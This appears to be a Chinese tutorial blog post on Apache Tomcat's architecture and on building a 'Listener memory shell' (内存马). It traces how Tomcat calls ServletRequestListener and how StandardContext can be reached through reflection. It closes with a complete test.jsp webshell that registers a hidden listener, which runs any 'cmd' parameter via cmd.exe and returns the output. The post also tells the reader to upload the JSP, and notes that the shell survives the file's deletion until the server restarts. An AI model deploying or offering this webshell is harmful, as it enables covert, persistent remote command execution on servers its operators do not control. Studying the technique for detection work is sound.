tomcat作为一个 Web 服务器,实现了两个非常核心的功能:
以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)。
Server
Server 服务器的意思,代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。
Service
服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container
Connector
称作连接器,是 Service 的核心组件之一,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端。
Container
负责处理用户的 servlet 请求
连接器主要完成以下三个核心功能:
以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。
Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。
四种容器的作用:
如以下图,a.com和b.com分别对应着两个Host
tomcat的结构图:
请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。
如果在Tomcat要引入listener,需要实现两种接口,分别是LifecycleListener
和原生EvenListener
。
实现了LifecycleListener
接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。
所以来看另一个EventListener
接口,在Tomcat中,自定义了很多继承于EventListener
的接口,应用于各个对象的监听。
重点来看ServletRequestListener
接口
ServletRequestListener
用于监听ServletRequest
对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized
方法。
在这里,通过一个demo来介绍下ServletRequestListener
与其执行流程
配置tomcat源码调试环境:https://zhuanlan.zhihu.com/p/35454131
写一个继承于ServletRequestListener
接口的TestListener
:
public class TestListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("执行了TestListener requestDestroyed"); } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("执行了TestListener requestInitialized"); } }
在web.xml中配置:
<listener> <listener-class>test.TestListener</listener-class> </listener>
访问任意的路径:http://127.0.0.1:8080/11
可以看到控制台打印了信息,tomcat先执行了requestInitialized
,然后再执行了requestDestroyed
requestInitialized:在request对象创建时触发
requestDestroyed:在request对象销毁时触发
StandardContext
对象就是用来add恶意listener的地方
接以上环境,直接在requestInitialized
处下断点,访问url后,显示出整个调用链
通过调用链发现,Tomcat在StandardHostValve
中调用了我们定义的Listener
跟进context.fireRequestInitEvent
,在如图红框处调用了requestInitialized
方法
往上追踪后发现,以上的listener是在StandardContext#getApplicationEventListeners
方法中获得的
在StandardContext#addApplicationEventListener
添加了listener
这时候我们思路是,调用StandardContext#addApplicationEventListener
方法,add我们自己写的恶意listener
在jsp中如何获得StandardContext
对象
方式一:
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
方式二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
以下是网络上公开的内存马:
test.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%! public class MyListener implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized(ServletRequestEvent sre) {} } %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listenerDemo = new MyListener(); context.addApplicationEventListener(listenerDemo); %>
首先访问上传的test.jsp生成listener内存马,之后即使test.jsp删除,只要不重启服务器,内存马就能存在。